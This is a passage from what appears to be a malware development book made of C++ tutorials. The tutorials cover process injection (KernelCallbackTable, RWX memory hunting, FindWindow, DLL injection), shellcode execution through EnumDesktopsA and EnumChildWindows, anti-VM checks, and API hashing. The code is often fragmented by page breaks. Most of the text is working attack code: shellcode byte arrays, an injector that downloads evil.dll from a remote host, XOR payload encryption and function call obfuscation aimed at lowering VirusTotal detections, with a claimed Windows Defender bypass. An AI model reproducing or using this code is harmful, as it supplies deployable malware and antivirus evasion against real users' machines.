ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
221
} KERNELCALLBACKTABLE;
// NtQueryInformationProcess
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
int main() {
HANDLE ph;
DWORD pid;
PROCESS_BASIC_INFORMATION pbi;
KERNELCALLBACKTABLE kct;
COPYDATASTRUCT cds;
222
PEB peb;
WCHAR msg[] = L"kernelcallbacktable injection impl";
myNtQueryInformationProcess(ph,
ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
ReadProcessMemory(ph, pbi.PebBaseAddress,
&peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable,
&kct, sizeof(kct), NULL);
WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&tb, sizeof(ULONG_PTR), NULL);
cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;
223
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);
return 0;
}
demo
Let’s go to see everything in action. Compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ \
-I/home/.../cybersec_blog/2022-01-24-malware-injection-15/ \
224
-s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive
225
We can see that everything was completed perfectly :)
An interesing observation: when I close meow messagebox window,
my mspaint.exe is crashed and recovered:
226
Moneta64.exe result:
https://www.virustotal.com/gui/file/5fcd9b3c453c7e2ac9dcc48f358b3e7851ac
18edf13fb1658e29f90ffa2c5a74/detection
So, 7 of 67 AV engines detect our file as malicious.
I think this is due to the fact that the combination of VirtualAllocEx and
WriteProcessMemory functions is very suspicious and well known to AV engines
and malware analysts from blue teams.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
227
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
ntddk.h header
NtQueryInformationProcess
FindWindow
ReadProcessMemory
VirtualAllocEx
WriteProcessMemory
SendMessage
Moneta64.exe
source code in Github
RWX-memory hunting
Let’s take a look at logic of our classic code injection malware:
//...
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
228
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
//...
practical example
The flow is this technique is simple, let’s go to investigate its logic:
Loop through all the processes on the system:
229
if ok, print our memory block (* for demonstration *):
230
/*
hack.cpp
process injection technique via
RWX memory hunting
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/02/01/malware-injection-16.html
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
231
pe.dwSize = sizeof(PROCESSENTRY32);
while (hResult) {
ph = OpenProcess(MAXIMUM_ALLOWED, false, pe.th32ProcessID);
if (ph) {
printf("hunting in %s\n", pe.szExeFile);
while (VirtualQueryEx(ph, address, &m, sizeof(m))) {
address = (LPVOID)(
(DWORD_PTR)m.BaseAddress + m.RegionSize);
if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) {
printf("rwx memory successfully found at 0x%x :)\n",
m.BaseAddress);
WriteProcessMemory(ph, m.BaseAddress,
my_payload, sizeof(my_payload), NULL);
CreateRemoteThread(ph, NULL, NULL,
(LPTHREAD_START_ROUTINE)m.BaseAddress,
NULL, NULL, NULL);
break;
}
}
address = 0;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
CloseHandle(ph);
return 0;
}
232
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
demo
Let’s go to see everything in action. Compile our practical example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
233
As you can see, everything is worked perfectly! :)
Let’s go to check one of our victim process, for example OneDrive:
234
There is a one caveat. The provided below code is a dirty proof-of-
concept and may crash certain processes. For example, in my case
SearchUI.exe is crashet and not worked after run my example.
Then, upload our malware to VirusTotal:
https://www.virustotal.com/gui/file/5835847d11b7f891e70681e2ec3a1e22013f
a3ffe31a36429e7814a3be40bd97/detection
So, 7 of 69 AV engines detect our file as malicious.
Moneta64.exe result:
235
The reason why it’s good to have this technique in your arsenal is because it
does not require you to allocate new RWX memory to copy your payload over to
by using VirtualAllocEx which is more popular and suspicious and which is
more closely investigated by the blue teamers.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
VirtualQueryEx
CreateToolhelp32Snapshot
Process32First
Process32Next
OpenProcess
Taking a snapshot and viewing processes
WriteProcessMemory
CreateRemoteThread
Hunting memory
Moneta64.exe
source code in Github
236
29. windows API hooking part 2. Simple C++ example.
example 1
Let’s look at an example. In this case I can hook a function WinExec from
kernel32.dll (hooking.cpp):
/*
hooking.cpp
basic hooking example with push/retn method
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/03/08/basic-hooking-2.html
*/
#include <windows.h>
FARPROC hookedAddress;
237
// we will jump to after the hook has been installed
int __stdcall myFunc(LPCSTR lpCmdLine, UINT uCmdShow) {
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, originalBytes, 6, NULL);
return WinExec("mspaint", uCmdShow);
}
// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD *hookAddress;
DWORD src;
DWORD dst;
CHAR patch[6]= {0};
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch, 6, NULL);
}
int main() {
// call original
WinExec("notepad", SW_SHOWDEFAULT);
// install hook
setMySuperHook();
238
// call after install hook
WinExec("notepad", SW_SHOWDEFAULT);
As you can see, the source code is identical to the example from the first section
about hooking. The only difference is:
// jump to myFunc
retn
239
As you can see everything is worked perfectly :)
x86 API Hooking Demystified
WinExec
source code in github
This post is the result of my self-researching one of the Win32 API function.
One of my previous posts, I wrote how to find process by name, for my injector?
When writing process or DLL injectors, it would be nice to find, for example, all
windows running in the system and try to inject into the process launched by
the administrator. In the simplest case to find the any window of a process that
will be our victim.
practical example
The flow is this technique is simple. Let’s go to investigate source code:
240
/*
* hack.cpp - classic process injection
* via FindWindow. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/08/malware-injection-17.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main() {
HANDLE ph;
HANDLE rt;
DWORD pid;
241
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
242
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
Demo
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive
and run:
.\hack.exe 1304
243
As you can see, everything is work perfectly :)
anti-VM
Another example of using this function is VM “evasion”. The fact that some
windows’ names are only present in virtual environment and not is usual host
OS.
Let’s look at an example:
244
/*
* hack.cpp - VM evasion via FindWindow. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/08/malware-injection-17.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
HANDLE ph;
HANDLE rt;
DWORD pid;
245
HWND hw = FindWindow(NULL, (LPCSTR) L"VBoxTrayToolWnd");
if (hcl || hw) {
pid = atoi(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
} else {
printf("virtualbox VM detected :(");
return -2;
}
}
As you can see we just check if windows with the following class names are
present in the OS:
VBoxTrayToolWndClass
VBoxTrayToolWnd
Let’s go to compile:
x86_64-w64-mingw32-g++ hack2.cpp -o hack2.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive
And run:
246
.\hack2.exe 1304
247
31. malware development tricks. Find kernel32.dll base:
asm style. C++ example.
//...
int main() {
DWORD oldprotect = 0;
//...
return 0;
}
Then, the actual way to execute shellcode is something like this (meow.cpp):
#include <windows.h>
248
LPVOID (WINAPI * pVirtualAlloc)(
LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);
int main() {
HMODULE hk32 = GetModuleHandle("kernel32.dll");
pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");
PVOID lb = pVirtualAlloc(0, sizeof(my_payload),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = CreateThread(0, 0,
(PTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
So this code contains very basic logic for executing payload. In this case, for
simplicity, it’s use “meow-meow” messagebox payload.
Let’s compile it:
249
x86_64-w64-mingw32-g++ meow.cpp -o meow.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-Wint-to-pointer-cast -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
and run:
assembly way :)
In the one of the previous sections I wrote about TEB and PEB structures and I
found kernel32 via asm. The following is obtained:
1. offset to the PEB struct is 0x030
250
6. 3rd loaded module is kernel32.dll
practical example
So:
static HMODULE getKernel32(DWORD myHash) {
HMODULE kernel32;
INT_PTR peb = __readgsqword(0x60);
auto modList = 0x18;
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;
kernel32 = (HMODULE)mdl->base;
return kernel32;
}
251
(LPBYTE)h +
img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)(
(LPBYTE)h + img_edt->AddressOfNameOrdinals);
if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
252
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = myCreateThread(NULL, 0,
(PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
myWaitForSingleObject(th, INFINITE);
}
struct LDR_MODULE {
LIST_ENTRY e[3];
HMODULE base;
void* entry;
UINT size;
UNICODE_STRING dllPath;
UNICODE_STRING dllname;
};
253
typedef PVOID(WINAPI *fnVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
254
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;
kernel32 = (HMODULE)mdl->base;
return kernel32;
}
if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
255
}
}
return nullptr;
}
int main() {
HMODULE mod = getKernel32(56369259);
fnGetModuleHandleA myGetModuleHandleA =
(fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
fnGetProcAddress myGetProcAddress =
(fnGetProcAddress)getAPIAddr(mod, 448915681);
256
(fnWaitForSingleObject)myGetProcAddress(
hk32, "WaitForSingleObject");
demo
Let’s go to compile it:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
257
As you can see, everything is worked perfectly :)
Let’s go to upload to VirusTotal:
https://www.virustotal.com/gui/file/0f5204336b3250fe2756b0a675013099be58
f99a522e3e14161c1709275ec2d5/detection
So 6 of 69 AV engines detect our file as malicious
This tricks can be used to make the static analysis of our malware slightly harder,
mainly focusing on PE format and common indicators.
I saw this trick in the source code of Conti ransomware
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
PEB structure
TEB structure
PEB_LDR_DATA structure
GetModuleHandleA
258
GetProcAddress
windows shellcoding - part 1
windows shellcoding - find kernel32
Conti ransomware source code
source code in Github
practical example
First of all, let’s go to consider classic DLL injection malware. In the simplest
case it will look like this:
/*
* classic DLL injection example
* author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
259
#include <windows.h>
#include <tlhelp32.h>
260
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer,
dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead,
&dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);
CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}
261
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession,
(LPCSTR)"http://192.168.56.1:4444/evil.dll",
0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer,
dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead,
&dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);
CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i\n", atoi(argv[1]));
262
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));
As usual, for simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
263
return TRUE;
}
So finally after we understood entire code of the injector, we can test it.
demo
First of all, compile DLL:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
Make sure that the specified path exists in the victim’s machine (C:\\Temp):
264
Finally, run victim process mspaint.exe and run injector hack.exe:
.\hack.exe <mspaint.exe's PID>
265
As you can see, everything is worked perfectly :)
Let’s go to upload to VirusTotal:
266
https://www.virustotal.com/gui/file/00e3254cdf384d5c1e15e217e89df9f78b73
db7a2b0d2b7f5441c6d8be804961/detection
So 6 of 69 AV engines detect our file as malicious
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
InternetOpen
InternetOpenUrl
InternetReadFile
InternetCloseHandle
WriteFile
CreateFile
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
classic DLL injection
source code in Github
267
33. malware development tricks. Run shellcode via
EnumDesktopsA. C++ example.
This section is the result of self-researching interesting trick: run shellcode via
enumerates desktops.
EnumDesktopsA
Enumerates all desktops associated with the calling process’s specified window
station.
The function passes the name of each desktop to a callback function defined by
the application:
BOOL EnumDesktopsA(
HWINSTA hwinsta,
DESKTOPENUMPROCA lpEnumFunc,
LPARAM lParam
);
practical example
Let’s go to look at a practical example. The trick is pretty simple:
/*
* hack.cpp - run shellcode via EnumDesktopA.
C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/06/27/malware-injection-20.html
*/
268
#include <windows.h>
As you can see, first we allocate memory buffer in a current process via
VirtualAlloc:
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
269
And then, as a pointer to the callback function in EnumDesktopsA we specify
this memory region:
EnumDesktopsA(GetProcessWindowStation(),
(DESKTOPENUMPROCA)mem, NULL);
demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
270
and run in our victim’s machine:
.\hack.exe
271
So, 16 of 66 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac61bf8fc98257295
869a833155f68b4d68bb6e565ca1/detection
And what’s interesting this trick bypassed Windows Defender:
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
EnumDesktopsA
source code in github
272
34. malware development tricks. Run shellcode via Enum-
ChildWindows. C++ example.
This section is the result of self-researching interesting trick: run shellcode via
enumerates the child windows.
EnumChildWindows
Enumerates the child windows of the specified parent window by providing the
handle to each child window to a callback function that has been created by
the application. EnumChildWindows continues until either the final child window
has been enumerated or the callback function returns FALSE:
BOOL EnumChildWindows(
HWND hWndParent,
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);
practical example
Let’s go to look at a practical example. The trick is pretty simple, similar to
previous trick:
/*
* hack.cpp - run shellcode via EnumChildWindows.
C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/
273
2022/07/13/malware-injection-21.html
*/
#include <windows.h>
274
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
275
and run in our victim’s machine:
.\hack.exe
276
So, 20 of 69 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/71c4294f90d6d6c3686601b519c2401a58
bb1fb03ab9ca3975eca7231af77853/detection
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
EnumChildWindows
source code in github
AV evasion has always being challenging for red teamers and pentesters, especially
for those who write malwares.
In our tutorial, we will write a simple malware in C++ that will launch our
payload: calc.exe process. Then we check through virustotal how many AV
engines detect our malware, after which we will try to reduce the number of AV
engines that will detect our malware.
Let’s start with simple C++ code of our malware:
/*
cpp implementation malware example with calc.exe payload
277
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
278
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
279
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
Let’s go to investigate this logic. If you want to run our payload in the memory
of the process, we have to do couple of things. We have to create a new memory
buffer, copy our payload into the buffer, and a start executing this buffer.
The first we do we allocate new memory region in a process and we store the
address in my_payload_mem variable:
280
and this memory region is readable and writeable.
Then, we copy our my_payload to my_payload_mem:
why not just allocate a buffer which is readable writable and executable?
281
And the reason is pretty simple. Some hunting tools and AV engines can spot
this memory region, because it’s quite unusable that the process needs a memory
which is readable, writeable and executable at the same time. So to bypass this
kind of detection we are doing in a two steps.
And if everything goes well, we run our payload as the separate new thread in a
process:
So basically this is how you can store your payload in a .text section without
encryption.
Let’s go to upload our evil.exe to Virustotal:
282
https://www.virustotal.com/gui/file/c9c49dbbb0a668df053d0ab788f9dde2d9
e59c31672b5d296bb1e8309d7e0dfe/detection
So, 22 of of 66 AV engines detect our file as malicious.
Let’s go to try to reduce the number of AV engines that will detect our malware.
For this first we must encrypt our payload. Why we want to encrypt our payload?
The basic purpose of doing this to hide you payload from someone like AV engine
or reverse engineer. So that reverse engineer cannot easily identify your payload.
The purpose of encryption is the transform data in order to keep it secret from
others. For simplicity, we use XOR encryption for our case.
Let’s take a look at how to use XOR to encrypt and decrypt our payload.
Update our simple malware code:
/*
cpp implementation malware
example with calc.exe payload
encrypted via XOR
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
283
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
The main difference with our first simple implementation is - we add XOR
decrypt function and our secret key my_secret_key for decryption:
284
It’s actually simple function, it’s a symmetric encryption, we can use it for
encryption and decryption with the same key.
and we deXOR our payload before copy to buffer:
285
import sys
import os
import hashlib
import string
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ˆ ord(current_key))
return output_str
## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key
## payload calc.exe
plaintext = open("./calc.bin", "rb").read()
## compile
286
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp"
cmd += "-o evil.exe -s -ffunction-sections"
cmd += "-fdata-sections -Wno-write-strings"
cmd += " -fno-exceptions -fmerge-all-constants"
cmd += "-static-libstdc++ -static-libgcc"
cmd += " >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")
287
Let’s go to upload our new evil.exe with encrypted payload to Virustotal:
https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d
99e9808efbfaf7989e1e15fd9587ca/detection
So, we have reduced the number of AV engines which detect our
malware from 22 to 18!
Source code in Github
• VirtualAlloc
• RtlMoveMemory
• VirtualProtect
• WaitForSingleObject
• CreateThread
• XOR
288
In the next part, I will write how else you can reduce the number of detections
using function call obfuscation technique.
This is the second part of the tutorial, firstly, I recommend that you study the
first part.
In this section we will study function call obfuscation. So what is this? Why
malware developers and red teamers need to learn it?
Let’s consider our evil.exe from part 1 in virustotal:
https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d
99e9808efbfaf7989e1e15fd9587ca/detection
and go to the details tab:
289
Every PE module like .exe and .dll usually uses external functions. So when
it is running, it will call every functions implemented in an external DLLs which
will be mapped into a process memory to make this functions available to the
process code.
AV industry analyze most kind of external DLLs and functions are used by the
malware. It can be a good indicator if this binary is malicious or not. So AV
engine analyzes a PE file on disk by looking the into its import address.
Of course this method is not bullet proof and can generate some false positives
but it is a known to work in some cases and is widely used by AV engines.
So what we as a malware developers can do about it? This is where function
call obfuscation comes into play. Function Call Obfuscation is a method of
hiding your DLLs and external functions that will be called a during runtime. To
do that we can use standard Windows API functions called GetModuleHandle
and GetProcAddress. The former returns a handled a specifiied DLL and later
allows you to get a memory address of the function you need and which is
exported from that DLL.
So let me give you an example. So let’s say your program needs to call a function
called HackAndWin which is exported in a DLL named hacker.dll. So first you
call GetModuleHandle, and then you can call GetProcAddress with an argument
of HackAndWin function and in return you get in address of that function:
hack = GetProcAddress(
GetModuleHandle("hacker.dll"), "HackAndWin");
So what is important here? Is that if you compile your code, compiler will not
290
include hacker.dll into import address table. So AV engine will not be able to
see that during static analysis.
Let’s see how we can practically use this technique. Let’s take a look at the
source coude of our first malware from part 1:
/*
cpp implementation malware
example with calc.exe payload
*/
